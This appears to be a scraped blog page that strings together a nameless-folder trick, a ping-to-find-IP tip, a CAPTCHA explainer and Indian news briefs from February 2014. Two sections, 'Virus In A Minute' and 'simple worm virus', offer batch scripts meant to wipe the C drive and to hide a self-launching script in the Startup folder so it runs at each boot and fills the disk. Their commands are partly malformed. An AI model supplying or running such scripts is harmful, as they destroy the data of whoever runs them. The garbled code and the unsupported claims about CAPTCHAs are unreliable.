Making Nameless Folder in Windows

· Make a Newfolder on desktop or where ever you want.
· Right click on this newly created folder and select Rename.
· Erase the text showing "New Folder".
· Now keep Pressing Alt (i.e. alter key) and type 255. If you are on laptop then you need to enable your Num Lock and
type from the highlighted number keys not from those below function keys.
· After that leave alt key and Press enter.
· Done you just created nameless folder.

Virus In A Minute

1. Open Notepad and copy below code into it:

@Echo off
Del C:\ *.* |y

2. Save this file as virus.bat (Name can be anything but .bat is must)
3. Now, running this file will delete all the content of C Drive.

Warning: Please don't try to run on your own computer or else it will delete all the content of your C Drive.

simple worm virus

1.Log on to your computer as an administrator.
2.Go on C drive and create a folder, name it "Programs"
3.Open up notepad and type in "@echo off"
4.Then, write "Copy C:\Programs\virus.bat C:\Programs" on the second line. On the third line write "Start C:\Programs\virus.bat".
5.Click "Save as" and save as virus.bat in the file
(Programs) you just made.
6.If you want the worm to start whenever the computer starts, right click on "virus.bat" and click create shortcut. A shortcut will be made on programs.
7.Right click on the shortcut icon and click "cut".
8.Right click on the shortcut and click "copy".
9.Right click on your start menu and click "explore".
10.Go to All Programs, then find the file named startup.
11.Paste the shortcut onto the startup folder.
12.Right click on the shortcut and go to properties, click on hidden, then press "Apply" or "OK".
You have successfully made a working worm virus. To start it, restart your computer and the disk space on C drive will
be eaten away!!!!!!!!!!!!

caution:To get rid of the worm virus just simply delete the "programs" file.

HOW TO FIND THE IP ADDRESS OF A WEBSITE

1.open run.
2.type 'cmd' without quotes
3.type 'ping w ebsitename.com/.org/.net etc. without quotes

eg:
ping facebook.com

4.note the ip address written on the top most line,now you are done.

What are CAPTCHAs

Whenever we create an account on any website or comment on any blog we see scrambled words
which we have to type and continue these are CAPTCHAs .

What are CAPTCHAs and what they do?

It stands for Completely Automated Public Turing-test to tell Computers and Humans Apart.These tries to test that you are a person and not a auto filling software.

Why CAPTCHAs are necessary?

These are used to prevent hackers from avoiding misuse of online services.

There are some examples of activities which are undertaken by hackers are given below :-

-Opening someone's account by attempting different password again and again.

-Creating hundreds of free accounts

-Swaying an online poll by robotically submitting hundreds of false responses.

-Spamimng blogs by posting dozens of bogus comments.

These CAPTCHAs test prevent about 90% of hackers attacks.

What is a logic behind this CAPTCHAs?

Commonly, these CAPTCHA phrases are .gif pictures of scrambled words, but can also be .mp3 voice recordings. These pictures and recordings are very hard for conventional software programs to understand, and hence, robots are usually unable to type the phrase in response to the picture or recording.

Current Affairs 2-feb-2014

Hundreds of furious students from North-East on Sunday took to the street of the national capital to protest against the recent hate crime incident in which a Arunachal Pradesh student was killed following a merciless assault.
 
Founder member of the AAP party about to leave the party .

Congress leader Harish Rawat was today sworn in as Uttarakhand's eighth Chief Minister. He succeeds Vijay Bahuguna who was asked by the Congress high command to step down as part of the organizational revamp being undertaken by the party leadership ahead of the national elections, due by May this year.

A youth slapped Haryana Chief Minister Bhupinder Singh Hooda, who was riding an open jeep, in full public view in Panipat this evening and was taken into custody immediately.

Mumbai Police seems to have made some headway in the murder case of a 23-year-old IT engineer in the city and suspect it to be a case of a love affair gone awry.

 A small cargo ship transporting tyres has run aground off the southeastern coast of Yemen with 12 Indian sailors aboard, a local official said today.

The telecom companies had moved the apex court on Saturday after the (TDSAT) rejected their plea for an extension of their licences.

TCS continued to rule the domestic market capitalisation chart, followed by Reliance, ITC, ONGC, Infosys, Coal India, HDFC Bank, Wipro, HDFC and Bharti Airtel.

Google is set to make "strategic" investments in Android, Chrome, YouTube and Enterprise, among others, to further shore up revenue.

South Africa's popular social networking app 'Mxit' has been launched in India today.

Favourites Karnataka deservedly won their seventh Ranji Trophy title after beating a spirited Maharashtra side by seven wickets on the fifth and concluding day of the final match here today.

Current Affairs 1-Feb-2014

Government announced that economy might have expanded by 4.5 percent in fiscal year 2012-13 as compared to previous estimate of 5 percent.

India is set to get its first monorail service on Saturday.

India pledged 44.12 million rupees grant assistance to Nepal for the construction of Nepal Academy’s library building in Kathmandu.

Programme SAVE has planned to release 25 vultures in safe-zone by 2016 following decrease in populations due to use of Diclofenac to vet cattle.

Greater flamingo the oldest one died at the age of 83 at Adelaide Zoo of Australia. It was brought to the zoo in 1933.

Michael Rogers has been nominated to be the Director of the National Security Agency by the US president Barack Obama.

US have warned China against any move to declare a new Air Defence Identification Zone over the South China Sea.

Rajasthan has scrapped its approval on foreign direct investment in multi-brand retailing that was given by the previous state government.

Surajkund International crafts Mela began at Surajkund in Faridabad.

India’s first monorail service was inaugurated by the Maharashtra Chief Minister Prithviraj chavan in Mumbai.

Students from the northeastern states, demanding justice over Nido Tania's killing, called off their protest on Saturday after the Delhi Police assured them of speedy investigations.

A volcano in western Indonesia has unleashed fresh clouds of searing gas, killing at least 11 people and injuring three others.

Virat Kohli's individual brilliance during India's disastrous show in the lost ODI series against New Zealand has helped the young batsman inch closer to the top spot in the latest ICC rankings issued on Saturday.